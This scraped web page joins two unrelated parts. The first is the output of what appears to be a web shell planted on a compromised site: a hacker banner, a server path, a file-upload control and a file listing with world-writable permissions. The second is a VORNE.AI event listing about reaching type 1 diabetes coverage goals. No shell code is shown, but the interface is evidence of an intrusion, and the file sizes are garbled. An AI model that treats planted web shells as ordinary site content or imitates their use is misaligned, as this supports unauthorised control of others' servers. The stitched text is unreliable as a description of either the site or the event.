I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
Attribute-February 01 2023 08:52:540777
Bundle-February 01 2023 08:52:540777
CHANGELOG.md17405 KBFebruary 01 2023 08:52:540666
CacheClearer-February 01 2023 08:52:540777
CacheWarmer-February 01 2023 08:52:540777
Config-February 01 2023 08:52:540777
Controller-February 01 2023 08:52:540777
ControllerMetadata-February 01 2023 08:52:540777
DataCollector-February 01 2023 08:52:540777
Debug-February 01 2023 08:52:540777
DependencyInjection-February 01 2023 08:52:540777
Event-February 01 2023 08:52:540777
EventListener-February 01 2023 08:52:540777
Exception-February 01 2023 08:52:540777
Fragment-February 01 2023 08:52:540777
HttpCache-February 01 2023 08:52:540777
HttpClientKernel.php3914 KBFebruary 01 2023 08:52:540666
HttpKernel.php10381 KBFebruary 01 2023 08:52:540666
HttpKernelBrowser.php5968 KBFebruary 01 2023 08:52:540666
HttpKernelInterface.php1466 KBFebruary 01 2023 08:52:540666
Kernel.php29141 KBFebruary 01 2023 08:52:540666
KernelEvents.php4142 KBFebruary 01 2023 08:52:540666
KernelInterface.php3629 KBFebruary 01 2023 08:52:540666
LICENSE1065 KBFebruary 01 2023 08:52:540666
Log-February 01 2023 08:52:540777
Profiler-February 01 2023 08:52:540777
README.md1230 KBFebruary 01 2023 08:52:540666
RebootableInterface.php787 KBFebruary 01 2023 08:52:540666
Resources-February 01 2023 08:52:540777
TerminableInterface.php910 KBFebruary 01 2023 08:52:540666
UriSigner.php3146 KBFebruary 01 2023 08:52:540666
composer.json2445 KBFebruary 01 2023 08:52:540666
VORNE.AI - Event Details
Reaching Diabetes Global Compact Goals
29 May
2024
CHIEF

Reaching Diabetes Global Compact Goals

At the 75th World Health Assembly, a coverage target for people living with type 1 diabetes (T1D) was introduced: 100% of people with type 1 diabetes should have access to affordable insulin and blood glucose self-monitoring. It is estimated that more than 1 million children live with T1D. No international and limited national data currently exist on the incidence and prevalence of T1D. Explore lessons for leapfrogging data systems for Type 1 Diabetes in this interactive session.

Wednesday 29 May | 08H00-10H00 | Intercontinental Hotel, Ballroom A

Tags: